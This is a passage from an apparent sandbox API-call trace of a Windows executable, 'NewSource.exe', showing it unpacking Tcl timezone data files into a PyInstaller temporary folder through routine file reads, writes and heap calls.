lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.993] GetFileType (hFile=0x10c) returned 0x1 [0042.993] htonl (hostlong=0x97db5c00) returned 0x5cdb97 [0042.993] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618b97, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.993] htonl (hostlong=0x82000000) returned 0x82 [0042.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x82) returned 0x55cfe0 [0042.993] htonl (hostlong=0x82000000) returned 0x82 [0042.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.993] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.993] htonl (hostlong=0xa1000000) returned 0xa1 [0042.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa1) returned 0x544ba0 [0042.993] htonl (hostlong=0x82000000) returned 0x82 [0042.993] htonl (hostlong=0xa1000000) returned 0xa1 [0042.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.993] CloseHandle (hObject=0x10c) returned 1 [0042.993] GetLastError () returned 0x0 [0042.993] SetLastError (dwErrCode=0x0) [0042.994] GetLastError () returned 0x0 [0042.994] SetLastError (dwErrCode=0x0) [0042.994] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.994] GetFileType (hFile=0x10c) returned 0x1 [0042.994] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.994] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.994] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.994] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.994] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.994] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.994] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.994] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.994] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.994] CloseHandle (hObject=0x10c) returned 1 [0042.994] GetLastError () returned 0x0 [0042.994] SetLastError (dwErrCode=0x0) [0042.994] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.994] GetFileType (hFile=0x10c) returned 0x1 [0042.994] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.994] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.994] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.994] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.994] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.994] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.995] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.995] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.995] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.995] CloseHandle (hObject=0x10c) returned 1 [0042.995] GetLastError () returned 0x0 [0042.995] SetLastError (dwErrCode=0x0) [0042.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran") returned 61 [0042.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\iran"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.995] GetLastError () returned 0x2 [0042.995] SetLastError (dwErrCode=0x2) [0042.995] GetLastError () returned 0x2 [0042.995] SetLastError (dwErrCode=0x2) [0042.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran", lpFilePart=0x0) returned 0x3c [0042.995] GetLastError () returned 0x2 [0042.995] SetLastError (dwErrCode=0x2) [0042.995] GetLastError () returned 0x2 [0042.995] SetLastError (dwErrCode=0x2) [0042.995] GetLastError () returned 0x2 [0042.995] SetLastError (dwErrCode=0x2) [0042.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran") returned 61 [0042.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iran" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\iran"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.997] GetFileType (hFile=0x10c) returned 0x1 [0042.997] htonl (hostlong=0xa1000000) returned 0xa1 [0042.997] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.997] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa1, lpOverlapped=0x0) returned 1 [0042.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.998] CloseHandle (hObject=0x10c) returned 1 [0042.998] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544ba0 | out: hHeap=0x530000) returned 1 [0042.998] htonl (hostlong=0x30000000) returned 0x30 [0042.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.999] GetFileType (hFile=0x10c) returned 0x1 [0042.999] htonl (hostlong=0x19dc5c00) returned 0x5cdc19 [0042.999] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618c19, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.999] htonl (hostlong=0x86000000) returned 0x86 [0042.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0042.999] htonl (hostlong=0x86000000) returned 0x86 [0042.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.999] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.999] htonl (hostlong=0xac000000) returned 0xac [0042.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0042.999] htonl (hostlong=0x86000000) returned 0x86 [0042.999] htonl (hostlong=0xac000000) returned 0xac [0042.999] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.999] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.999] CloseHandle (hObject=0x10c) returned 1 [0042.999] GetLastError () returned 0x0 [0042.999] SetLastError (dwErrCode=0x0) [0042.999] GetLastError () returned 0x0 [0042.999] SetLastError (dwErrCode=0x0) [0042.999] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.999] GetFileType (hFile=0x10c) returned 0x1 [0043.000] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.000] CloseHandle (hObject=0x10c) returned 1 [0043.000] GetLastError () returned 0x0 [0043.000] SetLastError (dwErrCode=0x0) [0043.000] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.000] GetFileType (hFile=0x10c) returned 0x1 [0043.000] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.000] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.000] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.000] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.000] CloseHandle (hObject=0x10c) returned 1 [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel") returned 63 [0043.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\israel"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.001] GetLastError () returned 0x2 [0043.001] SetLastError (dwErrCode=0x2) [0043.001] GetLastError () returned 0x2 [0043.001] SetLastError (dwErrCode=0x2) [0043.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel", lpFilePart=0x0) returned 0x3e [0043.001] GetLastError () returned 0x2 [0043.001] SetLastError (dwErrCode=0x2) [0043.001] GetLastError () returned 0x2 [0043.001] SetLastError (dwErrCode=0x2) [0043.001] GetLastError () returned 0x2 [0043.001] SetLastError (dwErrCode=0x2) [0043.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel") returned 63 [0043.001] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Israel" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\israel"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.001] GetFileType (hFile=0x10c) returned 0x1 [0043.001] htonl (hostlong=0xac000000) returned 0xac [0043.001] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.001] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0043.002] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.002] CloseHandle (hObject=0x10c) returned 1 [0043.002] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.002] htonl (hostlong=0x30000000) returned 0x30 [0043.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.002] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.003] GetFileType (hFile=0x10c) returned 0x1 [0043.003] htonl (hostlong=0x9fdc5c00) returned 0x5cdc9f [0043.003] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618c9f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.003] htonl (hostlong=0x83000000) returned 0x83 [0043.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0043.003] htonl (hostlong=0x83000000) returned 0x83 [0043.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.003] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.003] htonl (hostlong=0xb0000000) returned 0xb0 [0043.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0043.003] htonl (hostlong=0x83000000) returned 0x83 [0043.003] htonl (hostlong=0xb0000000) returned 0xb0 [0043.003] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.003] CloseHandle (hObject=0x10c) returned 1 [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.003] GetFileType (hFile=0x10c) returned 0x1 [0043.003] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.003] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.003] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.004] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.004] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.004] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.004] CloseHandle (hObject=0x10c) returned 1 [0043.004] GetLastError () returned 0x0 [0043.004] SetLastError (dwErrCode=0x0) [0043.004] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.004] GetFileType (hFile=0x10c) returned 0x1 [0043.004] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.004] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.004] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.004] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, 